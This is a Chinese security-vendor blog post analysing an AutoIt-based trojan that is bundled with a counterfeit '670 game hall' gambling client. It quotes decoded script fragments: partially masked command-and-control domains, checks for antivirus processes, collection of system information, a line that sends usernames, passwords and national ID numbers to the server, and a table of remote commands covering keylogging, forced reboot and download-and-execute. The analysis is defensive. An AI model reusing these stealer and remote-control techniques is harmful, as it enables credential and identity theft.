就在今年上半年,456游戏大厅还是金钱的代名词。一个看起来并不起眼的游戏平台,注册用户却达2000余万,每天获利最高可达100余万。这样的一个游戏大厅,必然是各路木马的兵家必争之地。于是针对456游戏大厅的各种盗号木马、远控木马也都层出不穷。作为一家互联网安全公司,我们当然也是一直在和各类木马作者不断地对抗。怎奈金钱的利益太过诱人,虽然被我们步步紧逼,但木马作者却也从未停止过自己的脚步。
温州龙湾警方将这宗涉案金额堪比全省一年GDP的特大网络开设赌场案破获,涉案人员被抓,456游戏大厅也正式宣告倒台。皮之不存,毛将焉附——依附于456游戏存在的无数木马作者也都跟着销声匿迹了。我们这些互联网安全工作者们仿佛也可以松一口气了。
似曾相识
近日接到用户举报说搜索的时候遇到了一个虚假的670游戏大厅,我们便按照用户的描述找到了这个游戏大厅
而一打开这个所谓的“670游戏”的主页,我就感觉不对劲了——这不就是456游戏大厅的主页吗?
将主页页面上挂的游戏平台下载回来之后安装……果然——除了改了几个标题之外,Game456和456游戏的名字还是随处可见
安装完成后,会在桌面上生成一个“670游戏大厅”的快捷方式——直到此时,这个程序还仅仅只是停留在一个简单的“山寨456游戏大厅”的层面,并没有实质的恶意行为。
诡异的快捷方式
点开该快捷方式的属性,乍一看去仿佛还挺正常,但习惯性的用鼠标圈了一下“目标”一栏——怎么这么长!遂将完整目标路径复制下来:
“C:Program FilesKaiLian Tech670游戏UpdatLobby.exe” plat.mod “C:Program FilesKaiLian Tech670游戏Lobby.exe”
定位到目标文件,是一个隐藏的UploadLobby.exe程序,参数则是同样隐藏的Plat.mod文件和真正的游戏大厅主程序lobby.exe
惊现Auto456
UpdatLobby.exe这个程序带有数字签名“AutoIt Consulting Ltd”。
看到这相信很多人都明白了——这是一个AutoIt的解释器——用于解释用AutoIt语言写成的自动化脚本。那么很显然,他指向的Plat.mod就是一个自动化脚本。
不出意料,这个脚本是经过编码的,也就是一个a3x脚本,我们用工具将其转为文本的au3文本——一个多大1800余行的脚本出现在我的眼前。
同样不出意料的,我在脚本中看到了这样的一个久违的变量名——”456exepath”:
而这种利用AutoIt执行恶意代码的手法在456游戏的时代就曾经出现过——我们称其为“Auto456”。
脚本分析
观其1800余行的脚本,封装了大量的WinAPI和GDI+函数。也正是依赖大量的WinAPI的调用,这个AutoIt的脚本实现了一个原本应该是经过编译的可执行程序才会有的强大功能。(以下仅列出其中部分)
01 |
func _winapi_createcompatiblebitmap( $hdc , $iwidth , $iheight ) |
02 |
local $aresult = dllcall( "gdi32.dll" , "handle" , "createcompatiblebitmap" , "handle" , $hdc , "int" , $iwidth , "int" , $iheight ) |
03 |
if @error then return seterror(@error, @extended, 0x00000000) |
04 |
return $aresult [0x00000000 ] |
05 |
endfunc |
06 |
07 |
func _winapi_createcompatibledc( $hdc ) |
08 |
local $aresult = dllcall( "gdi32.dll" , "handle" , "createcompatibledc" , "handle" , $hdc ) |
09 |
if @error then return seterror(@error, @extended, 0x00000000) |
10 |
return $aresult [0x00000000 ] |
11 |
endfunc |
12 |
13 |
func _winapi_deletedc( $hdc ) |
14 |
local $aresult = dllcall( "gdi32.dll" , "bool" , "deletedc" , "handle" , $hdc ) |
15 |
if @error then return seterror(@error, @extended, false) |
16 |
return $aresult [0x00000000 ] |
17 |
endfunc |
18 |
19 |
func _winapi_deleteobject( $hobject ) |
20 |
local $aresult = dllcall( "gdi32.dll" , "bool" , "deleteobject" , "handle" , $hobject ) |
21 |
if @error then return seterror(@error, @extended, false) |
22 |
return $aresult [0x00000000 ] |
23 |
endfunc |
24 |
25 |
func _winapi_getdc( $hwnd ) |
26 |
local $aresult = dllcall( "user32.dll" , "handle" , "getdc" , "hwnd" , $hwnd ) |
27 |
if @error then return seterror(@error, @extended, 0x00000000) |
28 |
return $aresult [0x00000000 ] |
29 |
endfunc |
30 |
31 |
…… |
32 |
33 |
func _gdiplus_encodersgetclsid( $sfileext ) |
34 |
local $aencoders = _gdiplus_encoders() |
35 |
for $ii = 0x00000001 to $aencoders [0x00000000 ][0x00000000 ] |
36 |
if stringinstr( $aencoders [ $ii ][0x00000006 ], "*." & $sfileext ) > 0x00000000 then return $aencoders [ $ii ][0x00000001 ] |
37 |
next |
38 |
return seterror(- 0x00000001, -0x00000001, "" ) |
39 |
endfunc |
40 |
41 |
func _gdiplus_encodersgetcount() |
42 |
local $aresult = dllcall( $ghgdipdll , "int" , "gdipgetimageencoderssize" , "uint*" , 0x00000000, "uint*" , 0x00000000) |
43 |
if @error then return seterror(@error, @extended, -0x00000001) |
44 |
return setextended( $aresult [0x00000000 ], $aresult [0x00000001 ]) |
45 |
endfunc |
46 |
47 |
func _gdiplus_encodersgetsize() |
48 |
local $aresult = dllcall( $ghgdipdll , "int" , "gdipgetimageencoderssize" , "uint*" , 0x00000000, "uint*" , 0x00000000) |
49 |
if @error then return seterror(@error, @extended, -0x00000001) |
50 |
return setextended( $aresult [0x00000000 ], $aresult [0x00000002 ]) |
51 |
endfunc |
脚本一开始便给出了作者的远程服务器域名,但看起来很乱:
1 |
global $ymdqz = "nat.game670.com-hell.game670.com_download.game670.com." |
2 |
global $zydfwq = "new670.yx****.com" |
3 |
global $bydfwq = "news670.ggy****.com" |
4 |
global $ymdbh = "sina670." |
但其实里面只有两个域名“yx****.com”和“ggy****.com”(处于安全考虑,隐去了域名中的部分字符)。而其他部分则都是这两个真实域名下属的子域名。猜测是用来迷惑和误导分析人员的。
然后就是收集用户当前的信息
比如本地IP(注释为本文作者添加,下同)
1 |
; 获取本地IP地址 |
2 |
global $ipadqz = stringleft(@ipaddress1, 0x00000003) |
3 |
if $ipadqz == "192" or $ipadqz == "0.1" or $ipadqz == "169" or $ipadqz == "10." or $ipadqz == "172" then |
4 |
$hzxx = "|" & @ipaddress1 & "|" & @computername |
5 |
else |
6 |
$hzxx = "|1.1.1.1|" & @computername |
7 |
endif |
检查用户机器上是否有正在运行的安全软件
01 |
; 检查进程 |
02 |
if processexists( "360tray.exe" ) or processexists( "ksafetray.exe" ) or processexists( "qqpctray.exe" ) then |
03 |
$sysppbb = 0x00000001 |
04 |
$lj = 0x00000001 |
05 |
_ljwini() |
06 |
endif |
07 |
$user2 = "" |
08 |
sleep(0x00000457) |
09 |
tcpstartup() |
10 |
; 检查安全软件 |
11 |
; 检查是否存在360 |
12 |
if processexists( "360tray.exe" ) then |
13 |
$sdxx = "``有360" |
14 |
else |
15 |
$sdxx = "" |
16 |
endif |
17 |
; 检查是否存在金山 |
18 |
if processexists( "ksafetray.exe" ) then |
19 |
if $sdxx <> "" then |
20 |
$sdxx &= "_金山" |
21 |
else |
22 |
$sdxx = "``有金山" |
23 |
endif |
24 |
endif |
25 |
; 检查是否存在冰点还原 |
26 |
if processexists( "df5serv.exe" ) then |
27 |
if $sdxx <> "" then |
28 |
$sdxx &= "_冰点" |
29 |
else |
30 |
$sdxx = "``有冰点" |
31 |
endif |
32 |
endif |
以及用户的系统版本等信息
01 |
; 判断系统 |
02 |
; XP系统 |
03 |
if not stringinstr(@osversion, "xp" ) then |
04 |
if $sdxx <> "" then |
05 |
$sdxx &= "_" & @osversion & @osarch |
06 |
else |
07 |
$sdxx = "``" & @osversion & @osarch |
08 |
endif |
09 |
endif |
10 |
; Win7系统 |
11 |
$win7 = 0x00000000 |
12 |
if stringinstr(@osversion, "win_7" ) then |
13 |
if @osarch = "x86" then |
14 |
$win7 = 0x00000001 |
15 |
else |
16 |
$win7 = 0x00000002 |
17 |
endif |
18 |
endif |
19 |
; Win8系统 |
20 |
if stringinstr(@osversion, "win_8" ) then |
21 |
if @osarch = "x86" then |
22 |
$win7 = 0x00000003 |
23 |
else |
24 |
$win7 = 0x00000004 |
25 |
endif |
26 |
endif |
收集到这些信息之后会作为第一个数据包打包发送给木马作者的收信服务器,作为记录。
收集完这些基础信息之后,才是病毒的真正主体——一个长达300多行的死循环。
正是这个死循环,在监视着用户的一举一动。
比如每隔一段时间(循环500次)就会检查一遍放在桌面上的快捷方式是否正常(是否依然指向病毒),如果不正常了就修复一下,并通知服务器修复了快捷方式。而如果脚本一段时间内(循环3500次)没有发现你做过什么有价值的事情,也会定点向服务器报告一下当前置顶的窗口标题是什么。甚至当你需要注册的时候,木马都会为你贴心的准备了几个处理过的窗口贴图和验证码图案……
当然,作者最想要拿到的,必然还是用户的账户登录信息。更为严重的是——由于此类游戏平台涉及大宗的财务交易,所以大多都要求登陆的时候需要输入本人真实身份证号码用于验证。这样一来,木马作者窃取的就不仅仅是游戏资产而已了——也包括了用户的身份证信息,而这会牵连出多少其他的个人隐私数据,就无法想象了。
1 |
if $passtemp == "yfsa" and winexists( "[class:kailiangame456]" ) and controlcommand( "[class:kailiangame456]" , "" , "button8" , "isenabled" , "" ) == 0x00000001 then |
2 |
$passtemp = "" |
3 |
if $sfz <> "" and stringlen( $sfz ) <> 0x00000012 then |
4 |
_tcpsdd(_stringencrypt(0x00000001, $user & "||||||sfz-error" & $hzxx )) |
5 |
$sfz = "" |
6 |
endif |
7 |
_tcpsdd(_stringencrypt(0x00000001, $user & "|" & $pass & "|" & $sfz & "||||" & $sdxx & $hzxx & "|" & $date )) |
8 |
endif |
看到这里,如果你以为这是一个盗号的自动化脚本,那你就错了——除了盗号功能外,脚本更主要的功能其实是一个远控。他可以接收来自木马作者服务器的指令,并根据指令进行各种操作
ljqd | 拦截杀软启动(实测并不成功) |
lj5z | 拦截“欢乐5张”游戏启动 |
ljbx | 拦截保险箱启动 |
jcal | 接触所有拦截 |
jsjc | 开始检测用户当前窗口 |
stjc | 停止监测用户当前窗口 |
jcbd | 接触用户在本地的绑定信息 |
null_b | 无操作,等待新指令 |
kswzbd | 暂无功能 |
jcwzbd | 暂无功能 |
jpjl | 开始键盘记录 |
stjp | 停止键盘记录 |
pqbxmm | 注销保险箱 |
killsv | 强制用户重启计算机(杀掉系统内所有svchost进程使系统出错,强制重启) |
cxzver | 获取当前版本 |
kupver | 自身升级 |
qsfmm | 将账户信息写入游戏配置文件 |
sbxmm | 尝试骗取用户身份证信息 |
yjljhao | 修改游戏配置文件 |
另外,如果下发的指令是一个URL,脚本还会去下载这个URL对应的文件到本地执行。
查杀拦截
由于病毒代码的执行者其实是AutoIt的解释器,而这个解释器本身并非恶意程序(它只是在逐行的解释并执行脚本里每一条指令而已),并且也有正规有效的数字签名。真正含有恶意代码的脚本文件却躲在解释器的后面,不会以独立进程的形式出现在系统中。
因此导致现在市面上所有的安全软件中,除360外都无法正常拦截该木马。所幸的是得益于和456游戏木马的长期对抗经验,360对此类木马一直是可以有效拦截的
最后也要提醒大家:久赌无胜家——无论是否是木马,赌博类游戏,我们就应该远离。
网友评论